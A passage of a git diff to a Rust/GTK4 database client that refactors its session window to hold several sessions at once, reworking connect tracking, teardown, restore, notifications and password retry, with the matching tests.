     pub(crate) fn page_name(&self) -> &'static str {
-        self.imp().page.borrow().name()
+        self.page().name()
     }
 }
 
@@ -984,14 +1378,6 @@ fn discard_pending(pending: PendingSession, tasks: &tablepro_session::runtime::T
     });
 }
 
-/// Supersede the connect in flight, not only cancel it: a driver
-/// blocked in a socket call can still connect afterwards, and that late
-/// session must not be adopted.
-fn stop_connecting(attempts: &tablepro_session::ConnectAttempts) {
-    drop(attempts.begin());
-    attempts.cancel();
-}
-
 /// The connect a source makes, off the GTK thread, once `check` finds
 /// its file safe to open. Reading the keyring, asking for what it lacks
 /// and connecting all happen there; only the outcome comes back.
@@ -1000,7 +1386,7 @@ fn connect_work(
     source: &ConnectSource,
     check: FileCheck,
     demand: CredentialDemand,
-    cancel: tokio_util::sync::CancellationToken,
+    cancel: CancellationToken,
 ) -> BoxFuture<'static, Result<Connected, AttemptError>> {
     let connecting = connect_source(state, source, check.read_only(), demand, cancel.clone());
     check.guard(&state.services.tasks, cancel, connecting)
@@ -1012,7 +1398,7 @@ fn connect_source(
     source: &ConnectSource,
     read_only: bool,
     demand: CredentialDemand,
-    cancel: tokio_util::sync::CancellationToken,
+    cancel: CancellationToken,
 ) -> BoxFuture<'static, Result<Connected, AttemptError>> {
     match source {
         ConnectSource::Saved(saved) => connect_saved(&state.context, saved, read_only, demand, cancel),
@@ -1026,7 +1412,7 @@ fn connect_saved(
     saved: &SavedConnection,
     read_only: bool,
     demand: CredentialDemand,
-    cancel: tokio_util::sync::CancellationToken,
+    cancel: CancellationToken,
 ) -> BoxFuture<'static, Result<Connected, AttemptError>> {
     let connector = context.connector.clone();
     let interaction = context.attended();
@@ -1084,7 +1470,7 @@ fn connect_intent(
     state: &WindowState,
     intent: &ConnectIntent,
     read_only: bool,
-    cancel: tokio_util::sync::CancellationToken,
+    cancel: CancellationToken,
 ) -> BoxFuture<'static, Result<Connected, AttemptError>> {
     let context = &state.context;
     let connector = context.connector.clone();
@@ -1155,7 +1541,7 @@ fn connect_file(
     context: &SessionContext,
     identity: &FileIdentity,
     read_only: bool,
-    cancel: tokio_util::sync::CancellationToken,
+    cancel: CancellationToken,
 ) -> BoxFuture<'static, Result<Connected, AttemptError>> {
     let connector = context.connector.clone();
     let interaction = context.attended();
@@ -1221,7 +1607,8 @@ fn attempt_error(error: &ConnectError, server_name_shown: bool) -> AttemptError
     }
 }
 
-/// What the connecting page names: the connection, or the file.
+/// What the connecting page, the tree and a failure's toast call a
+/// connect: the connection, or the file.
 fn source_name(source: &ConnectSource) -> String {
     match source {
         ConnectSource::Saved(saved) => saved.name.clone(),
@@ -1236,8 +1623,8 @@ fn file_display_name(uri: &str) -> String {
         .map_or_else(|| uri.to_owned(), |name| name.to_string_lossy().into_owned())
 }
 
-/// The failed page's Edit button: named after the setting that fixes a
-/// TLS failure when there is one.
+/// The Edit button: named after the setting that fixes a TLS failure
+/// when there is one.
 fn edit_label(failure: &ConnectFailure) -> String {
     failure
         .remedy
diff --git a/linux/crates/app/src/ui/session_window/notifications.rs b/linux/crates/app/src/ui/session_window/notifications.rs
index ab23725d2c..e445c88789 100644
--- a/linux/crates/app/src/ui/session_window/notifications.rs
+++ b/linux/crates/app/src/ui/session_window/notifications.rs
@@ -55,45 +55,51 @@ impl SessionWindow {
     }
 
     pub(super) fn on_work_completed(&self, work: CompletedWork) {
-        let Some(workspace) = self.workspace() else {
+        let Some(workspace) = self.workspace_with_tab(work.tab) else {
             return;
         };
         let Some(label) = workspace.notice_label(work.tab) else {
             return;
         };
         let active = self.window_is_active() && workspace.selected_tab() == Some(work.tab);
-        let connection = workspace.connection_name().unwrap_or_default();
+        let connection = workspace.connection_name();
         if let Some(notifier) = self.imp().notifier.borrow().as_ref() {
             notifier.work_completed(&work, active, &label, &connection);
         }
     }
 
+    /// Also called after a session goes, whose tabs no session holds
+    /// any more.
     pub(super) fn on_tabs_changed(&self) {
         let notifier = self.imp().notifier.borrow();
         let Some(notifier) = notifier.as_ref().filter(|notifier| notifier.has_sent()) else {
             return;
         };
-        let Some(workspace) = self.workspace() else {
+        let workspaces = self.workspaces();
+        if workspaces.is_empty() {
             return;
-        };
-        if let Some(open) = workspace.open_tabs() {
-            notifier.withdraw_closed(|tab| open.contains(&tab));
+        }
+        // A session busy with its input cannot say which tabs it holds,
+        // and its notifications stay until it can.
+        if let Some(open) = workspaces.iter().map(Workspace::open_tabs).collect::<Option<Vec<_>>>() {
+            notifier.withdraw_closed(|tab| open.iter().any(|tabs| tabs.contains(&tab)));
         }
         if self.window_is_active()
-            && let Some(tab) = workspace.selected_tab()
+            && let Some(tab) = workspaces.iter().find_map(Workspace::selected_tab)
         {
             notifier.tab_became_active(tab);
         }
     }
 
     pub(super) fn on_focus_tab(&self, tab: Uuid) {
-        match self.workspace().and_then(|workspace| workspace.input()) {
+        match self.workspace_with_tab(tab).and_then(|workspace| workspace.sender()) {
             Some(input) => input.deliver(WorkspaceInput::FocusTab(tab)),
             None => tracing::debug!("a notification named a tab of a session the window no longer shows"),
         }
     }
 
-    /// Every notification names a tab of the session going away.
+    /// Every notification names a tab of a session the window no longer
+    /// holds, once the last one goes.
     pub(super) fn withdraw_notifications(&self) {
         if let Some(notifier) = self.imp().notifier.borrow().as_ref() {
             notifier.withdraw_all();
diff --git a/linux/crates/app/src/ui/session_window/secret_retry.rs b/linux/crates/app/src/ui/session_window/secret_retry.rs
index 770974a861..7c7bffbacc 100644
--- a/linux/crates/app/src/ui/session_window/secret_retry.rs
+++ b/linux/crates/app/src/ui/session_window/secret_retry.rs
@@ -2,43 +2,29 @@
 //! again, and the retry asks for it rather than reading the keyring's
 //! copy, which is the one that was just refused.
 
-use gtk4::subclass::prelude::*;
 use tablepro_core::credentials::SecretKind;
 use tablepro_core::{AuthMode, DriverError, SshFailure, TransportError};
-use tablepro_session::{ConnectError, ConnectSource};
+use tablepro_session::{ConnectError, ConnectSource, SessionKey};
 use tablepro_storage::{CredentialDemand, SavedConnection, SavedSshAuth};
 
 use super::SessionWindow;
-use super::session_page::SessionPage;
 
 impl SessionWindow {
-    /// The failed page's Enter Password: connect again, asking for
-    /// `kind` whatever the keyring holds. A stale activation, from a
-    /// page that has moved on, does nothing.
-    pub(super) fn on_retry_with_new_secret(&self, kind: SecretKind) {
-        let imp = self.imp();
-        let offered = self.page_is(|page| {
-            matches!(
-                page,
-                SessionPage::ConnectFailed {
-                    source: ConnectSource::Saved(_),
-                    failure,
-                    ..
-                } if failure.reenter == Some(kind)
-            )
-        });
+    /// Enter Password, on the failed page or in a failure's Details:
+    /// connect again, asking for `kind` whatever the keyring holds. One
+    /// for a failure that has moved on does nothing.
+    pub(super) fn on_retry_with_new_secret(&self, key: &SessionKey, kind: SecretKind) {
+        let offered = self
+            .with_failure(key, |source, failure| {
+                matches!(source, ConnectSource::Saved(_)) && failure.reenter == Some(kind)
+            })
+            .unwrap_or(false);
         if !offered {
             return;
         }
-        let SessionPage::ConnectFailed {
-            claim,
-            source: ConnectSource::Saved(saved),
-            ..
-        } = imp.page.replace(SessionPage::Picker)
-        else {
-            return;
-        };
-        self.reconnect_saved(claim, *saved, CredentialDemand::reenter(kind));
+        if let Some((claim, source, _)) = self.take_failure(key) {
+            self.reconnect(claim, source, CredentialDemand::reenter(kind));
+        }
     }
 }
 
@@ -251,6 +237,7 @@ mod tests {
 mod window_tests {
     use gtk4::glib;
     use gtk4::prelude::*;
+    use gtk4::subclass::prelude::*;
     use libadwaita as adw;
     use libadwaita::prelude::*;
     use secrecy::{ExposeSecret, SecretString};
diff --git a/linux/crates/app/src/ui/session_window/session_page.rs b/linux/crates/app/src/ui/session_window/session_page.rs
index 45c29823f0..9ac88abb35 100644
--- a/linux/crates/app/src/ui/session_window/session_page.rs
+++ b/linux/crates/app/src/ui/session_window/session_page.rs
@@ -1,67 +1,69 @@
 use std::sync::Arc;
 
 use tablepro_session::{ConnectSource, Session, SessionClaim, SessionKey};
+use tablepro_storage::CredentialDemand;
+use tokio_util::sync::CancellationToken;
 
 use super::session_window_command::ConnectFailure;
 use crate::ui::workspace::Workspace;
 
-/// Which page a window shows, and what it holds for that page. The
-/// claim on the session's key lives here, so leaving the page releases
-/// it.
-#[derive(Default)]
+/// A session the window holds, with the claim on its key and the
+/// workspace that shows it.
+pub(crate) struct OpenSession {
+    pub(crate) claim: SessionClaim,
+    pub(crate) session: Arc<Session>,
+    pub(crate) workspace: Workspace,
+}
+
+/// A connect the window runs, its first one included. Its result
+/// carries `id`, so a result for one the window stopped or started
+/// again finds nothing and is closed.
+pub(crate) struct PendingConnect {
+    pub(crate) id: u64,
+    pub(crate) claim: SessionClaim,
+    pub(crate) source: ConnectSource,
+    pub(crate) cancel: CancellationToken,
+    /// What the connect asks beyond the stored secrets, kept for the
+    /// connect that follows the question about its file.
+    pub(crate) demand: CredentialDemand,
+}
+
+/// A connect that failed while the window had nothing else to show,
+/// which keeps its claim for the failed page's ways on.
+pub(crate) struct FailedConnect {
+    pub(crate) claim: SessionClaim,
+    pub(crate) source: ConnectSource,
+    pub(crate) failure: ConnectFailure,
+}
+
+/// The key a connect from `source` claims.
+pub(crate) fn source_key(source: &ConnectSource) -> SessionKey {
+    match source {
+        ConnectSource::Saved(saved) => SessionKey::Saved(saved.id),
+        ConnectSource::Intent(intent) => intent.key.clone(),
+        ConnectSource::File(identity) => SessionKey::File(identity.uri.clone()),
+    }
+}
+
+/// What the window shows, worked out from what it holds: its sessions,
+/// else the failed connect, else its first connect, else the picker.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub(crate) enum SessionPage {
-    /// The saved connections, to pick one from.
-    #[default]
     Picker,
-    Connecting {
-        claim: SessionClaim,
-        source: ConnectSource,
-    },
-    ConnectFailed {
-        claim: SessionClaim,
-        source: ConnectSource,
-        failure: ConnectFailure,
-    },
-    Workspace {
-        claim: SessionClaim,
-        session: Arc<Session>,
-        workspace: Workspace,
-    },
+    /// The first of the window's connects, by its id.
+    Connecting(u64),
+    Failed,
+    Shell,
 }
 
 impl SessionPage {
-    /// The key the page holds a claim on.
-    pub(crate) fn key(&self) -> Option<&SessionKey> {
-        match self {
-            Self::Picker => None,
-            Self::Connecting { claim, .. } | Self::ConnectFailed { claim, .. } | Self::Workspace { claim, .. } => {
-                Some(claim.key())
-            }
-        }
-    }
-
     #[cfg(test)]
-    pub(crate) fn name(&self) -> &'static str {
+    pub(crate) fn name(self) -> &'static str {
         match self {
             Self::Picker => "picker",
-            Self::Connecting { .. } => "connecting",
-            Self::ConnectFailed { .. } => "connect-failed",
-            Self::Workspace { .. } => "workspace",
-        }
-    }
-}
-
-impl std::fmt::Debug for SessionPage {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        match self {
-            Self::Picker => f.write_str("Picker"),
-            Self::Connecting { claim, .. } => f.debug_struct("Connecting").field("key", claim.key()).finish(),
-            Self::ConnectFailed { claim, failure, .. } => f
-                .debug_struct("ConnectFailed")
-                .field("key", claim.key())
-                .field("failure", failure)
-                .finish(),
-            Self::Workspace { claim, .. } => f.debug_struct("Workspace").field("key", claim.key()).finish(),
+            Self::Connecting(_) => "connecting",
+            Self::Failed => "connect-failed",
+            Self::Shell => "workspace",
         }
     }
 }
diff --git a/linux/crates/app/src/ui/session_window/session_restore.rs b/linux/crates/app/src/ui/session_window/session_restore.rs
index f2dd688975..a762f94bc1 100644
--- a/linux/crates/app/src/ui/session_window/session_restore.rs
+++ b/linux/crates/app/src/ui/session_window/session_restore.rs
@@ -2,6 +2,7 @@
 //! and keeping the record of open sessions in step with the window.
 
 use gtk4::glib;
+use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use tablepro_session::SessionKey;
 use tablepro_storage::SavedConnection;
@@ -25,6 +26,16 @@ impl SessionWindow {
         let (Some(state), Some(input)) = (self.state(), self.input()) else {
             return;
         };
+        // The list the window follows has it once read: the keys restored
+        // beside the first need no read of the file each.
+        if matches!(
+            state.services.saved_connections.state(),
+            tablepro_storage::ConnectionListState::Ready(_)
+        ) {
+            let saved = state.services.saved_connections.get(id).map(Box::new);
+            input.deliver(SessionWindowInput::RestoreSaved { id, saved });
+            return;
+        }
         let store = state.services.storage.connections().clone();
         let reading = state.services.tasks.spawn_blocking_task(move || store.load_blocking());
         glib::spawn_future_local(async move {
@@ -36,10 +47,12 @@ impl SessionWindow {
                 // The key stays recorded: the list may read again once
                 // the user resets it, which the picker's banner offers.
                 Ok(Err(error)) => {
-                    tracing::warn!(%error, "a session was not restored: the saved connections could not be read")
+                    tracing::warn!(%error, "a session was not restored: the saved connections could not be read");
+                    input.deliver(SessionWindowInput::RestoreUnread(SessionKey::Saved(id)));
                 }
                 Err(failure) => {
-                    tracing::warn!(%failure, "a session was not restored: the connections read task failed")
+                    tracing::warn!(%failure, "a session was not restored: the connections read task failed");
+                    input.deliver(SessionWindowInput::RestoreUnread(SessionKey::Saved(id)));
                 }
             }
         });
@@ -65,7 +78,7 @@ impl SessionWindow {
             SessionKey::Saved(_) => saved.is_some(),
         };
         if restorable && let Some(state) = self.state() {
-            state.services.open_sessions().add(key.clone());
+            state.services.open_sessions().add(key.clone(), self.id());
         }
     }
 
@@ -75,19 +88,20 @@ impl SessionWindow {
         }
     }
 
-    /// The restore has its answer, and the page the window shows next
+    /// The restore has its answer, and what the window does with it
     /// speaks for the key.
     pub(super) fn end_restore(&self, key: &SessionKey) {
-        let restoring = &self.imp().restoring;
-        if restoring.borrow().as_ref() == Some(key) {
-            restoring.replace(None);
-        }
+        self.imp().restoring.borrow_mut().retain(|restoring| restoring != key);
     }
 
     /// A window closed before its restore had an answer holds no claim
-    /// whose release would forget the key.
+    /// whose release would forget the keys.
     pub(super) fn abandon_restore(&self) {
-        if let Some(key) = self.imp().restoring.take() {
+        let restoring = match self.imp().restoring.try_borrow_mut() {
+            Ok(mut restoring) => std::mem::take(&mut *restoring),
+            Err(_) => return,
+        };
+        for key in restoring {
             self.forget_unclaimed(&key);
         }
     }
@@ -107,7 +121,6 @@ impl SessionWindow {
 mod tests {
     use std::time::Duration;
 
-    use gtk4::prelude::*;
     use tablepro_session::fakes::{FakeConnector, FakeEstablish};
     use tablepro_session::{PendingSave, SessionKey};
     use tablepro_test_support::ConnectionScript;
@@ -126,13 +139,22 @@ mod tests {
 
         /// Open a window on `key` the way a launch restoring it does.
         fn restored_window(&self, key: &SessionKey) -> SessionWindow {
+            self.restored_window_of(std::slice::from_ref(key))
+        }
+
+        /// Open one window on `keys` the way a launch restoring that
+        /// recorded window does.
+        fn restored_window_of(&self, keys: &[SessionKey]) -> SessionWindow {
             self.services
                 .open_sessions()
-                .restore(OpenSessionsRecord::from_keys([key]));
-            self.app
-                .open_window(WindowLaunch::Restore(key.clone()))
+                .restore(OpenSessionsRecord::from_windows([keys]));
+            let window = self
+                .app
+                .open_window(WindowLaunch::Restore(keys.to_vec()))
                 .and_then(|window| window.downcast::<SessionWindow>().ok())
-                .expect("a restored window")
+                .expect("a restored window");
+            self.services.open_sessions().assign(keys, window.id());
+            window
         }
 
         /// The URI a file under the test's directory is keyed by.
@@ -309,6 +331,28 @@ mod tests {
         assert_eq!(test.recorded(), [key]);
     }
 
+    /// The keys a window recorded connect at once, so one that fails
+    /// first says why in this window and the others still open here.
+    #[gtk4::test]
+    fn a_restored_window_whose_first_key_fails_opens_the_rest_in_it() {
+        let test = TestWindow::picker("RestoreFirstFails");
+        let gone = test.file_key("gone.db");
+
+        let window = test.restored_window_of(&[gone, test.key()]);
+        wait_for(&window, "workspace");
+        crate::test_support::drain_main_context();
+
+        assert_eq!(test.services.sessions.window_for(&test.key()), Some(window.id()));
+        assert_eq!(
+            test.app.windows().len(),
+            2,
+            "the restore spilled into a window of its own"
+        );
+        assert_eq!(window.workspaces().len(), 1);
+        assert_eq!(test.recorded(), [test.key()]);
+        assert_eq!(test.connector.calls().len(), 1, "the missing file was connected to");
+    }
+
     #[gtk4::test]
     fn a_missing_file_is_forgotten_and_a_retry_records_it_again() {
         let test = TestWindow::picker("RestoreMissing");
diff --git a/linux/crates/app/src/ui/session_window/session_teardown.rs b/linux/crates/app/src/ui/session_window/session_teardown.rs
index 8b5f7de86b..b6bb35396c 100644
--- a/linux/crates/app/src/ui/session_window/session_teardown.rs
+++ b/linux/crates/app/src/ui/session_window/session_teardown.rs
@@ -1,5 +1,10 @@
-//! The ordered teardown of a window's session, for a disconnect and an
+//! The ordered teardown of a window's sessions, for a disconnect and an
 //! approved close.
+//!
+//! The order matters. What a workspace shows is written before it is
+//! freed; the workspace goes before the claim, so nothing of it reads
+//! for a key another window can now claim; and the claim goes before the
+//! close finishes, so the same connection can be picked again at once.
 
 use std::sync::Arc;
 use std::time::Duration;
@@ -10,52 +15,97 @@ use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use libadwaita::prelude::AdwApplicationWindowExt;
 use tablepro_core::EditorSession;
-use tablepro_session::Session;
 use tablepro_session::runtime::{ProcessHold, Tasks};
+use tablepro_session::{Session, SessionKey};
 
 use super::SessionWindow;
-use super::session_page::SessionPage;
+use super::session_page::OpenSession;
+use crate::ui::workspace::WorkspaceShell;
 
 impl SessionWindow {
-    /// Take the workspace down once its close prompts approved, and
-    /// close the session under one hold. False when the window shows
-    /// no workspace.
-    ///
-    /// The order matters. What the workspace shows is written before it
-    /// is freed; the workspace goes before the claim, so nothing of it
-    /// reads for a key another window can now claim; and the claim goes
-    /// before the close finishes, so the same connection can be picked
-    /// again at once.
-    pub(super) fn tear_down(&self) -> bool {
+    /// Take every session down once the close prompts approved, each
+    /// closed under one hold. Their pages stay in the shell, which goes
+    /// last, so no session sees another's tab come forward as it goes.
+    pub(super) fn tear_down(&self) {
         let imp = self.imp();
-        let Some(state) = self.state() else {
-            return false;
+        let sessions = match imp.sessions.try_borrow_mut() {
+            Ok(mut sessions) => std::mem::take(&mut *sessions),
+            Err(_) => {
+                tracing::warn!("the sessions were torn down while they were read");
+                return;
+            }
         };
-        let Ok(mut page) = imp.page.try_borrow_mut() else {
-            tracing::warn!("the session was torn down while its page was in use");
-            return false;
+        if sessions.is_empty() {
+            return;
+        }
+        for open in &sessions {
+            open.workspace.flush();
+        }
+        self.set_content(gtk::Widget::NONE);
+        imp.page_toasts.replace(None);
+        imp.shown.set(None);
+        self.set_title(Some(&crate::i18n::gettext("TablePro")));
+        let shell = imp.shell.take();
+        for open in sessions {
+            self.close_open_session(None, open, false);
+        }
+        if let Some(shell) = shell {
+            shell.shutdown();
+        }
+        self.withdraw_notifications();
+        self.refresh_dirty();
+    }
+
+    /// Take down the one session under `key` while the window keeps the
+    /// others and its connects. With the last one the shell goes too.
+    /// False when the window holds no such session.
+    pub(super) fn tear_down_session(&self, key: &SessionKey) -> bool {
+        let imp = self.imp();
+        let open = {
+            let Ok(mut sessions) = imp.sessions.try_borrow_mut() else {
+                tracing::warn!("a session was torn down while the sessions were read");
+                return false;
+            };
+            let Some(position) = sessions.iter().position(|open| open.claim.key() == key) else {
+                return false;
+            };
+            sessions.remove(position)
         };
-        if !matches!(*page, SessionPage::Workspace { .. }) {
-            return false;
+        open.workspace.flush();
+        let shell = self.shell();
+        self.close_open_session(shell.as_ref(), open, true);
+        if imp.sessions.borrow().is_empty() {
+            if let Some(shell) = imp.shell.take() {
+                shell.shutdown();
+            }
+            self.withdraw_notifications();
+        } else {
+            self.on_tabs_changed();
         }
-        let SessionPage::Workspace {
+        self.refresh_dirty();
+        self.render();
+        true
+    }
+
+    /// Take `open`'s workspace off the shell when one is given, shut it
+    /// down, drop its claim and record, and close its session. Its pages
+    /// leave the tab view when `close_pages`.
+    fn close_open_session(&self, shell: Option<&WorkspaceShell>, open: OpenSession, close_pages: bool) {
+        let Some(state) = self.state() else {
+            return;
+        };
+        let OpenSession {
             claim,
             session,
             workspace,
-        } = std::mem::take(&mut *page)
-        else {
-            return false;
-        };
-        drop(page);
-        workspace.flush();
+        } = open;
         let editor_sessions = workspace.take_editor_sessions();
-        self.set_content(gtk::Widget::NONE);
-        imp.page_toasts.replace(None);
-        self.set_title(Some(&crate::i18n::gettext("TablePro")));
-        workspace.shutdown();
-        drop(workspace);
-        self.withdraw_notifications();
         let key = claim.key().clone();
+        if let Some(shell) = shell {
+            shell.remove_session(&workspace);
+        }
+        workspace.shutdown(close_pages);
+        drop(workspace);
         drop(claim);
         // A quit freezes the record first, so only a disconnect or a
         // window closed by hand takes the session off it.
@@ -67,11 +117,6 @@ impl SessionWindow {
             &state.services.tasks,
             state.context.close_timeout(),
         );
-        imp.dirty.set(false);
-        imp.saving.set(false);
-        self.refresh_inhibitor();
-        super::window_actions::sync(self.upcast_ref(), &SessionPage::Picker, false);
-        true
     }
 }
 
@@ -106,15 +151,13 @@ fn close_session(
 
 #[cfg(test)]
 mod tests {
-    use std::time::Duration;
-
-    use tablepro_core::EditorSession;
-    use tablepro_test_support::{CallCounters, CloseBehaviour, FakeEditorSession, FakeReply, FakeRun, Replies};
-
     use std::cell::RefCell;
     use std::rc::Rc;
+    use std::time::Duration;
 
+    use tablepro_core::EditorSession;
     use tablepro_session::RegistryEvent;
+    use tablepro_test_support::{CallCounters, CloseBehaviour, FakeEditorSession, FakeReply, FakeRun, Replies};
 
     use super::*;
     use crate::test_support::wait_until;
@@ -127,22 +170,14 @@ mod tests {
         let workspace = test.workspace().downgrade();
         let key = test.key();
         wait_until(WAIT, || test.hold.live() == 0).expect("the workspace's opening writes to land");
-        // Each step records what had happened before it. Only the flush
-        // holds the process before the claim goes, and the close's hold
-        // comes after it.
+        // When the claim goes, the workspace is already shut down, and
+        // the flush that came before it still holds the process.
         let steps = Rc::new(RefCell::new(Vec::new()));
-        let (detached, hold) = (steps.clone(), test.hold.clone());
-        test.workspace()
-            .connect_notify_local(Some("parent"), move |workspace, _| {
-                if workspace.parent().is_none() {
-                    detached.borrow_mut().push(("detached", hold.live() > 0));
-                }
-            });
-        let (released, gone) = (steps.clone(), workspace.clone());
+        let (released, gone, hold) = (steps.clone(), workspace.clone(), test.hold.clone());
         let _subscription = test.services.sessions.subscribe(move |event| {
             if matches!(event, RegistryEvent::Released { .. }) {
                 let shut_down = gone.upgrade().is_none_or(|workspace| workspace.handle().is_none());
-                released.borrow_mut().push(("released", shut_down));
+                released.borrow_mut().push((shut_down, hold.live() > 0));
             }
         });
 
@@ -151,10 +186,9 @@ mod tests {
 
         assert_eq!(
             *steps.borrow(),
-            [("detached", true), ("released", true)],
-            "a step ran before the one it depends on"
+            [(true, true)],
+            "the claim went before the workspace, or before its flush"
         );
-
         let child = test.window.content();
         assert!(
             child.is_some_and(|child| child.type_().name() == "TableProPickerPage"),
diff --git a/linux/crates/app/src/ui/session_window/session_window_command.rs b/linux/crates/app/src/ui/session_window/session_window_command.rs
index 6b0090101c..90ac4be161 100644
--- a/linux/crates/app/src/ui/session_window/session_window_command.rs
+++ b/linux/crates/app/src/ui/session_window/session_window_command.rs
@@ -1,6 +1,5 @@
 use tablepro_core::credentials::SecretKind;
 use tablepro_session::PendingSession;
-use tablepro_session::connect::AttemptGeneration;
 use tablepro_storage::SavedConnection;
 
 use crate::ui::error_text::TlsRemedy;
@@ -8,10 +7,10 @@ use crate::ui::error_text::TlsRemedy;
 /// What background work a window started brings back to it.
 #[derive(Debug)]
 pub(crate) enum SessionWindowCommand {
-    /// A connect attempt ended. Its generation says which one, so a
-    /// result that lands after the user moved on is discarded.
+    /// The connect `id` ended. A result for a connect the window no
+    /// longer runs is discarded.
     Attempt {
-        generation: AttemptGeneration,
+        id: u64,
         result: Result<Connected, AttemptError>,
     },
 }
diff --git a/linux/crates/app/src/ui/session_window/session_window_input.rs b/linux/crates/app/src/ui/session_window/session_window_input.rs
index 35a3c26bad..ea95bba177 100644
--- a/linux/crates/app/src/ui/session_window/session_window_input.rs
+++ b/linux/crates/app/src/ui/session_window/session_window_input.rs
@@ -1,9 +1,12 @@
+use gtk4::glib;
+use libadwaita as adw;
 use tablepro_core::SafeModeLevel;
 use tablepro_core::credentials::SecretKind;
 use tablepro_session::SessionKey;
 use tablepro_storage::{ConnectionColor, ConnectionGroupName, ConnectionTag, ConnectionTagName, SavedConnection};
 use uuid::Uuid;
 
+use super::connect_failure_details::Remedy;
 use super::file_location_dialog::LocationChoice;
 use super::resolve_file_identity::ResolvedFile;
 use super::session_window_command::SessionWindowCommand;
@@ -13,16 +16,18 @@ use crate::workspace::{CloseReason, CompletedWork};
 
 #[derive(Debug)]
 pub(crate) enum SessionWindowInput {
-    /// Open a saved connection: in this window from the picker, in
-    /// another one otherwise.
+    /// Open a saved connection, beside the sessions the window holds.
     OpenSaved(Box<SavedConnection>),
     /// Open a database file, as the file manager or the command line
     /// hands it over.
     OpenFile(gio::File),
     /// The file resolved, off the GTK thread, to the session it opens.
     FileResolved(Box<ResolvedFile>),
-    /// Open a session that was open when the application last quit.
+    /// Open one of the sessions the window was opened to restore.
     Restore(SessionKey),
+    /// The saved connections could not be read for this restored key,
+    /// which stays recorded for a launch that can read them.
+    RestoreUnread(SessionKey),
     /// The restored saved connection as the list holds it now, or `None`
     /// once it is deleted.
     RestoreSaved {
@@ -33,34 +38,61 @@ pub(crate) enum SessionWindowInput {
     /// The connect dialog's Connect: connect, then save the entry.
     ConnectFromDialog(Box<ConnectSubmission>),
     DialogClosed,
-    /// Stop the connect in progress, or leave a failed one, for the
-    /// picker.
+    /// The connecting page's Cancel, which stops every connect, or the
+    /// failed page's Choose Connection.
     CancelConnect,
-    /// Connect again from where the failed connect came from, reading
-    /// the keyring again.
+    /// Stop the connect running for the key.
+    StopConnecting(SessionKey),
+    /// The failed page's Retry: connect again from where the failed
+    /// connect came from, reading the keyring again.
     RetryConnect,
-    /// Connect a saved connection whose login was refused again, asking
-    /// for this secret instead of reading the keyring's copy.
+    /// The failed page's Enter Password: connect again, asking for this
+    /// secret instead of reading the keyring's copy.
     RetryWithNewSecret(SecretKind),
-    /// Open the connect dialog on a connection that failed to connect,
-    /// with the focus on the setting that fixes it.
+    /// The failed page's Edit Connection, with the focus on the setting
+    /// that fixes the failure.
     EditConnection,
+    /// The way on a failed connect's Details offered for the key.
+    Remedy {
+        key: SessionKey,
+        remedy: Remedy,
+    },
+    /// Say why the last connect for the key failed, and offer its way on.
+    ShowConnectFailure(SessionKey),
+    /// Let go of a failed connect the tree keeps a row for.
+    ForgetConnectFailure(SessionKey),
     /// Open the connect dialog on a saved connection to change it.
     EditSavedConnection(Uuid),
     /// The connect dialog saved its changes to a saved connection.
     ConnectionSaved(Uuid),
-    /// Close the workspace through its prompts and return to the
-    /// picker.
+    /// Close the session in front through its prompts.
     Disconnect,
-    /// The prompts approved the disconnect.
-    TeardownApproved,
-    /// The main menu's Safe Mode level for the session on screen.
-    SetSafeMode(SafeModeLevel),
+    /// Close the session open under the key through its prompts.
+    DisconnectSession(SessionKey),
+    /// The prompts approved closing the session under the key.
+    SessionTeardownApproved(SessionKey),
+    /// Bring the session under the key to the front.
+    ShowSession(SessionKey),
+    /// Open a SQL editor tab in the session under the key.
+    NewQueryIn(SessionKey),
+    /// Read the catalog of the session under the key again.
+    RefreshIn(SessionKey),
+    /// Another session came to the front of the shell.
+    FrontChanged,
+    /// A tab of another window's session was dropped on this window's
+    /// tab bar. Weak and sendable, since the window's input also
+    /// crosses to the runtime.
+    ReturnForeignTab(glib::SendWeakRef<adw::TabPage>),
+    /// The main menu's Safe Mode level for the session that was in front
+    /// when the user picked it.
+    SetSafeMode {
+        key: SessionKey,
+        level: SafeModeLevel,
+    },
     /// The prompts approved connecting the saved connection again at the
     /// level it was just given.
     ReopenApproved(Uuid),
-    /// Close the workspace's current tab, or the window when it shows
-    /// no tab.
+    /// Close the current tab, or the window when it shows no tab.
     CloseCurrent,
     /// The health banner's Retry: ask the session to reconnect now.
     Reconnect,
@@ -69,11 +101,10 @@ pub(crate) enum SessionWindowInput {
     ResetWorkspaceLayout,
     /// The application asks the window to close.
     CloseRequested(CloseReason),
-    /// The workspace gained or lost something a logout would lose.
-    DirtyChanged(bool),
-    /// The number of saves running in the workspace changed.
-    SavesInFlightChanged(usize),
-    TitleChanged(String),
+    /// A session gained or lost something a logout would lose.
+    DirtyChanged,
+    /// The number of saves running in a session changed.
+    SavesInFlightChanged,
     /// A run, save or export ended in one of the workspace's tabs.
     WorkCompleted(CompletedWork),
     /// The tab in front, the open tabs or the window's focus changed.
@@ -81,10 +112,11 @@ pub(crate) enum SessionWindowInput {
     /// A notification about the tab was clicked.
     FocusTab(Uuid),
     Command(Box<SessionWindowCommand>),
-    /// The answer for a file on a filesystem whose locking the engines cannot
-    /// trust, or ReadWrite when there was nothing to ask.
+    /// The answer for the file of connect `id` on a filesystem whose
+    /// locking the engines cannot trust, or ReadWrite when there was
+    /// nothing to ask.
     LocationChosen {
-        generation: tablepro_session::connect::AttemptGeneration,
+        id: u64,
         choice: LocationChoice,
     },
     /// The user found the file the saved connection `id` lost.
diff --git a/linux/crates/app/src/ui/session_window/tests/mod.rs b/linux/crates/app/src/ui/session_window/tests/mod.rs
index 796823a19b..f701ba1774 100644
--- a/linux/crates/app/src/ui/session_window/tests/mod.rs
+++ b/linux/crates/app/src/ui/session_window/tests/mod.rs
@@ -1,5 +1,6 @@
 mod notification;
 mod open_file;
+mod sessions;
 
 use std::rc::Rc;
 use std::sync::Arc;
@@ -327,7 +328,7 @@ pub(crate) fn editors(window: &SessionWindow) -> Vec<crate::ui::editor::SqlEdito
         .collect()
 }
 
-fn saved_connection(database: &std::path::Path) -> SavedConnection {
+pub(crate) fn saved_connection(database: &std::path::Path) -> SavedConnection {
     SavedConnection {
         id: uuid::Uuid::new_v4(),
         name: "Fake".to_owned(),
@@ -444,7 +445,7 @@ fn the_main_menu_moves_the_session_between_levels_that_write_and_saves_it() {
     })
